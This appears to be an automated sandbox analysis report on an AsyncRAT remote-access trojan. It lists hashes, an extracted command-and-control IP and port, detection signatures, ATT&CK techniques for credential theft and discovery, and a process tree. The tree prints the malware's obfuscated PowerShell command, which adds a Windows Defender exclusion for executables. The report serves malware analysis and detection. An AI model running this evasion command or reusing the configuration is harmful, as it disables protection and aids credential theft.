asyncrat | fe4de0fd380724f99aafe701b01c58477b5a883212388c9b77f1fa77e00b66a6

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/10/2026, 03:54

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General

Target
2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe
Size 3.3MB
Sample261029-ef6ynag17v
SHA256 fe4de0fd380724f99aafe701b01c58477b5a883212388c9b77f1fa77e00b66a6
MD5 e38a39b0867e24eedebe63828cf3f251
SHA1 f6337c63439dd024afc39f37b6a31c94ee3b4cb8
SHA512 fdb546f9f379e6304e80f0e64547a276707ead0c59d3b47b5644bed1220f2237981f009b6ca69d182de9df2b8e34b46e6b33f8b1aa7f04fd3d158554d3945f53
SSDEEP 6144:PCdxxOZG8C9VCbPNunBlfBh0KJtwKO3fzEHcn7W:PCdxxOZG8eC1sX0OnKV
TLSH
T194F59D06B7941AFDD077D13CCA964F0AEAB2B8154761E74F03AD46AA1F237605D3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery asyncrat rat spyware stealer

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

Default

160.119.69.55:443

Mutex

PROTONVPNCC3

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/4448-18-0x00000000014A0000-0x00000000014B6000-memory.dmp	family_asyncrat

Custom signature

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs

resource	yara_rule
behavioral1/memory/4448-15-0x0000000000B70000-0x0000000000B88000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/4448-18-0x00000000014A0000-0x00000000014B6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Custom signature

Detects file containing reversed ASEP Autorun registry keys 2 IoCs

resource	yara_rule
behavioral1/memory/4448-15-0x0000000000B70000-0x0000000000B88000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse
behavioral1/memory/4448-18-0x00000000014A0000-0x00000000014B6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse

Executes dropped EXE 1 IoCs

pid	Process
4448	MSBuild.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5388 set thread context of 4448	5388	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	101

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MSBuild.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5888	powershell.exe
5888	powershell.exe
4448	MSBuild.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4704	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	4448	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4448	MSBuild.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 5388	4704	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	96
PID 5388 wrote to memory of 4448	5388	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	101
PID 5388 wrote to memory of 4448	5388	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	101
PID 5388 wrote to memory of 4448	5388	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	101
PID 5388 wrote to memory of 4448	5388	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	101
PID 5388 wrote to memory of 4448	5388	2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe	101

C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe
  C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe None
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\Temp\MSBuild.exe
    "C:\Windows\Temp\MSBuild.exe"
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function John { [char]$args[0] };$MrJohnWick = 10;$Wick = (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+25)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+60)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+60)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+5)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+37)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+72)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+74)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+62)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+74)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+70)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+59)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61));$MicroSoft = (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+6)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+80)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61));&($Wick) -ExclusionExtension $MicroSoft -Force
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_icnpbht3.mgt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icnpbht3.mgt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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MSBuild.exe

Path C:\Windows\Temp\MSBuild.exe
Size 256KB
SHA256 ed9884bac608c06b7057037cc91d90e4ae5f74dd2dbce2af476699c6d4492d82
MD5 8fdf47e0ff70c40ed3a17014aeea4232
SHA1 e6256a0159688f0560b015da4d967f41cbf8c9bd
SHA512 bd69d092ed4f9c5e1f24eaf5ec79fb316469d53849dc798fae0fcba5e90869b77ee924c23cc6f692198ff25827ab60ad47bb46cadd6e0aadde7731cbafb013be
SSDEEP 3072:7a0t0yH5wCwie3NnQNLpj/Wnqvsw2XpFU4rwOeTubZSzf02RFihx2uzj:m0ny3nnKpqnZRXfw702birr/
TLSH
T125446A0163ED4615F6FF1AB4B8B059158B76F957E822D35E388CA1AC0F73780EA60763
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4448-21-0x00000000058D0000-0x0000000005962000-memory.dmp

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memory/4448-15-0x0000000000B70000-0x0000000000B88000-memory.dmp

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memory/4448-18-0x00000000014A0000-0x00000000014B6000-memory.dmp

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memory/4448-20-0x0000000005CE0000-0x0000000006284000-memory.dmp

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memory/4448-22-0x0000000006470000-0x000000000650C000-memory.dmp

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memory/4448-24-0x00000000063D0000-0x00000000063DA000-memory.dmp

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memory/4448-23-0x0000000006510000-0x0000000006576000-memory.dmp

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memory/5888-9-0x000002364C4B0000-0x000002364C4D2000-memory.dmp

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memory/5888-12-0x000002364D100000-0x000002364D31C000-memory.dmp

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memory/5888-0-0x000002364C570000-0x000002364C580000-memory.dmp

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memory/5888-1-0x000002364C570000-0x000002364C580000-memory.dmp

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